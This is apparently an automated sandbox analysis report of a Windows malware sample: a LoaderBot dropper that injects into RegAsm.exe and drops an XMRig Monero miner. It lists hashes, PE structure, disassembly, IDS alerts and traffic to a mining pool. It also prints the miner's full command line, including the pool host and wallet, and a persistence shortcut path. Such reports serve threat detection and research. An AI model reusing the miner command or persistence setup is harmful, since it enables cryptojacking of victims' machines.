Preview:	[InternetShortcut]..URL=file:///C:\Users\user\AppData\Roaming\Sysfiles\RegAsm.exe..IconIndex=0..IconFile=C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\backup (3).ico..

C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4141064
Entropy (8bit):	5.210440836800201
Encrypted:	false
SSDEEP:	49152:SNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3Z:wzP88fBsnZTgOtqB3m1RC3Z
MD5:	02569A7A91A71133D4A1023BF32AA6F4
SHA1:	0F16BCB3F3F085D3D3BE912195558E9F9680D574
SHA-256:	8D6ABBA9B216172CFC64B8802DB0D20A1C634C96E1049F451EDDBA2363966BF0
SHA-512:	534BE1FE93EE556A14CFD8FAD5377F57FB056AB4CD2BCA14E4F376F4A25D3D4D270917D68A90B3C40D8A8DAAEBA6F592FA095ECFF478332BA23405D1DF728322
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: h2UFp4aCRq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: W1nnerFree CS2.exe, Detection: malicious, Browse Filename: KRZyX0PPRm.exe, Detection: malicious, Browse Filename: lO188m2RAu.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 01904399.dat.exe, Detection: malicious, Browse Filename: Vsob3IooE7.exe, Detection: malicious, Browse Filename: ruZVRNvu0Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d......^.........."...........k.....N2.........@.............................P........?... ..................................................0..P....@..../...W.......>..:...........................................................0...............................MPRESS1. ...............................MPRESS2.....0...........................rsrc...../..@..../.................@..............................................................v2.19..L...H...(.@.......H.......H.....`..f.@....H....O..H..(..0...&......*.....4%. 0.h. <...W..3.3.A...(.....1(.....0 ...0@.......`..N..Q.......w.....3.H...]K..X.ev.u. [.? L._.k\...........G..q\....Q..@. ......_0...+.........!.8..X0.W....t.".I.%. .. .............~.....~....S.~Cp.W:~..................O.A ...p\........L..`..O..........3.i.e...lA..A.....H...I;..\|.....O=.p....-..........3..K/.. ~.@.Q0G.."...Q......)..(..".!......@..P.)...%O.H.1......X0......G.X.XP....^Q..5\|^2.E

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948526018433718
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	kWYLtJ0Cn1.exe
File size:	4'819'968 bytes
MD5:	917f9d9d484f8657efc7f60b8adde947
SHA1:	01e4648cef9fb934429d63471127805120202ca9
SHA256:	1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4
SHA512:	6f81636f49ac851709372e04fa4b95a47da1d17bb84c0150fda6f1ee37111ac357ae17414e9d96f597ac99b2693a9b5838d43fc22b12abbed3e6bbf6421635d2
SSDEEP:	98304:ybFXaexwoV2rqKxaWkidqVtIhjAgWlZHrtjFsN3RwC+cDhfXXWB:gwexwoVLhidqVtg8jZHrw3wC+8
TLSH:	672623113AD18036D77324324A29E3B617AEF9310F5986EF17D85E7E2F34AC19B2161E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........xl...?...?...?W..>...?W..>...?W..>...?F..>...?W..>...?...?...?F..>...?F..>...?w..>...?w..?...?w..>...?Rich...?........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x42e1ba
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x669F79AF [Tue Jul 23 09:36:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	af0f88358390a4f58963b26bacea4505

Entrypoint Preview

Instruction
call 00007FEDC0D945A7h
jmp 00007FEDC0D93748h
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007FEDC0D93153h
jmp 00007FEDC0D93902h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007FEDC0D93144h
jmp 00007FEDC0D938F3h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0049C100h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0049C100h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0049C100h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9aa98	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x498000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x499000	0x50e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x931b0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x932c0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x930f0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x89000	0x218	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x870f6	0x87200	ea2552f81ceccf649a83b4b70470fd03	False	0.4206500057816836	data	6.662104007323327	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x89000	0x12774	0x12800	8589e608da1f6a3153f2c50536c2bfbf	False	0.3732712204391892	data	4.729413980411144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9c000	0x3fb1f8	0x3f9a00	d6b749cff934fb227069b52f0b853fbc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x498000	0x1e0	0x200	163e56f8d734ee3f87ce78c26893fd50	False	0.52734375	data	4.7059600829467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x499000	0x50e4	0x5200	096ca5203311410b029f61ecbe9c0afa	False	0.7240377286585366	data	6.620919772930253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x498060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

USER32.dll

OffsetRect

KERNEL32.dll

GetCPInfo, CreateFileW, WaitForSingleObject, GetModuleHandleA, SwitchToFiber, CreateThread, GetProcAddress, VirtualAllocEx, RaiseException, RtlCaptureStackBackTrace, GetCurrentThreadId, IsProcessorFeaturePresent, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariableSRW, InitOnceComplete, InitOnceBeginInitialize, FormatMessageA, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, CloseHandle, WaitForSingleObjectEx, Sleep, SwitchToThread, GetExitCodeThread, GetNativeSystemInfo, QueryPerformanceCounter, QueryPerformanceFrequency, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LocalFree, GetLocaleInfoEx, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, SetFileInformationByHandle, GetTempPathW, InitOnceExecuteOnce, CreateEventExW, CreateSemaphoreExW, FlushProcessWriteBuffers, GetCurrentProcessorNumber, GetSystemTimeAsFileTime, GetTickCount64, CreateThreadpoolTimer, SetThreadpoolTimer, WaitForThreadpoolTimerCallbacks, CloseThreadpoolTimer, CreateThreadpoolWait, SetThreadpoolWait, CloseThreadpoolWait, GetModuleHandleW, GetFileInformationByHandleEx, CreateSymbolicLinkW, GetStringTypeW, CompareStringEx, WriteConsoleW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsDebuggerPresent, GetStartupInfoW, GetCurrentProcessId, InitializeSListHead, HeapSize, RtlUnwind, InterlockedPushEntrySList, InterlockedFlushSList, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, ExitProcess, GetModuleFileNameW, GetStdHandle, WriteFile, SetConsoleCtrlHandler, HeapAlloc, HeapFree, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetCurrentThread, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, GetTimeZoneInformation, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetProcessHeap, OutputDebugStringW, SetStdHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-23T15:48:56.694363+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49738	3333	192.168.2.4	141.94.96.71
2024-07-23T15:45:21.326757+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49743	3333	192.168.2.4	141.94.96.144
2024-07-23T15:45:36.297076+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	51744	53	192.168.2.4	1.1.1.1
2024-07-23T15:47:54.453933+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49730	3333	192.168.2.4	141.94.96.195

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 23, 2024 15:45:36.325097084 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:36.329977989 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:36.330070019 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:36.330198050 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:36.334901094 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:36.987026930 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:37.045387030 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:37.222357035 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:37.342267990 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:45.067085028 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:45.232928991 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:47.387953997 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:47.462961912 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:45:57.467072964 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:45:57.545435905 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:07.578005075 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:07.639174938 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:17.541326046 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:17.732956886 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:27.560554981 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:27.639206886 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:31.275918007 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:31.342360973 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:41.139170885 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:41.342370987 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:45.095571041 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:45.236675024 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:51.391105890 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:51.431804895 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:57.055246115 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:46:57.060457945 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:57.267616034 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:46:57.345432043 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:01.664247036 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:01.729592085 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:12.097337008 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:12.233040094 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:13.212307930 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:13.212369919 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:13.213119984 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:13.213335991 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:22.399856091 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:22.520509958 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:32.376017094 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:32.436224937 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:42.450131893 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:42.545567036 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:45.141251087 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:45.257195950 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:52.686913967 CEST	3333	49730	141.94.96.195	192.168.2.4
Jul 23, 2024 15:47:52.733061075 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:54.453933001 CEST	49730	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:47:55.693361998 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:47:55.698901892 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:55.699022055 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:47:55.699141979 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:47:55.705888987 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:57.841623068 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:57.846234083 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:57.846296072 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:47:58.921458006 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:59.029944897 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:47:59.215148926 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:47:59.326819897 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:09.538964987 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:09.717470884 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:19.574168921 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:19.717475891 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:29.615369081 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:29.721797943 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:40.719981909 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:40.826919079 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:51.101943970 CEST	3333	49738	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:51.217513084 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:56.694363117 CEST	49738	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:57.562686920 CEST	49739	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:57.629030943 CEST	3333	49739	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:57.629121065 CEST	49739	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:57.629283905 CEST	49739	3333	192.168.2.4	141.94.96.71
Jul 23, 2024 15:48:57.655706882 CEST	3333	49739	141.94.96.71	192.168.2.4
Jul 23, 2024 15:48:57.656150103 CEST	3333	49739	141.94.96.71	192.168.2.4
Jul 23, 2024 15:49:03.563280106 CEST	49740	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:03.568479061 CEST	3333	49740	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:03.568635941 CEST	49740	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:03.568758011 CEST	49740	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:03.573585033 CEST	3333	49740	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:03.779553890 CEST	3333	49740	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:09.629460096 CEST	49741	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:09.634418964 CEST	3333	49741	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:09.634527922 CEST	49741	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:09.634742022 CEST	49741	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:09.639951944 CEST	3333	49741	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:09.847747087 CEST	3333	49741	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:15.682728052 CEST	49742	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:15.703551054 CEST	3333	49742	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:15.703618050 CEST	49742	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:15.703718901 CEST	49742	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:15.710645914 CEST	3333	49742	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:15.852020025 CEST	3333	49742	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:21.741179943 CEST	49743	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:21.754950047 CEST	3333	49743	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:21.755022049 CEST	49743	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:21.755145073 CEST	49743	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:21.766104937 CEST	3333	49743	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:21.815479040 CEST	3333	49743	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:26.937556028 CEST	49744	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:27.029578924 CEST	3333	49744	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:27.029915094 CEST	49744	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:27.029915094 CEST	49744	3333	192.168.2.4	141.94.96.195
Jul 23, 2024 15:49:27.053020000 CEST	3333	49744	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:27.483872890 CEST	3333	49744	141.94.96.195	192.168.2.4
Jul 23, 2024 15:49:33.000771999 CEST	49745	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:33.156101942 CEST	3333	49745	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:33.156335115 CEST	49745	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:33.273247004 CEST	49745	3333	192.168.2.4	141.94.96.144
Jul 23, 2024 15:49:33.298979044 CEST	3333	49745	141.94.96.144	192.168.2.4
Jul 23, 2024 15:49:33.381174088 CEST	3333	49745	141.94.96.144	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 23, 2024 15:45:36.297075987 CEST	51744	53	192.168.2.4	1.1.1.1
Jul 23, 2024 15:45:36.321499109 CEST	53	51744	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 23, 2024 15:45:36.297075987 CEST	192.168.2.4	1.1.1.1	0xb7df	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 23, 2024 15:45:36.321499109 CEST	1.1.1.1	192.168.2.4	0xb7df	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 23, 2024 15:45:36.321499109 CEST	1.1.1.1	192.168.2.4	0xb7df	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jul 23, 2024 15:45:36.321499109 CEST	1.1.1.1	192.168.2.4	0xb7df	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 23, 2024 15:45:36.321499109 CEST	1.1.1.1	192.168.2.4	0xb7df	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	09:45:24
Start date:	23/07/2024
Path:	C:\Users\user\Desktop\kWYLtJ0Cn1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kWYLtJ0Cn1.exe"
Imagebase:	0xf60000
File size:	4'819'968 bytes
MD5 hash:	917F9D9D484F8657EFC7F60B8ADDE947
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:45:27
Start date:	23/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LoaderBot, Description: Yara detected LoaderBot, Source: 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:45:33
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Imagebase:	0x140000000
File size:	4'141'064 bytes
MD5 hash:	02569A7A91A71133D4A1023BF32AA6F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.1743254277.0000000000507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.1743254277.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Author: unknown
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:45:33
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:45:34
Start date:	23/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:45:34
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476
Imagebase:	0x7ff6cc5a0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:45:34
Start date:	23/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7476 -s 764
Imagebase:	0x7ff6cc5a0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:45:34
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe
Wow64 process (32bit):	false
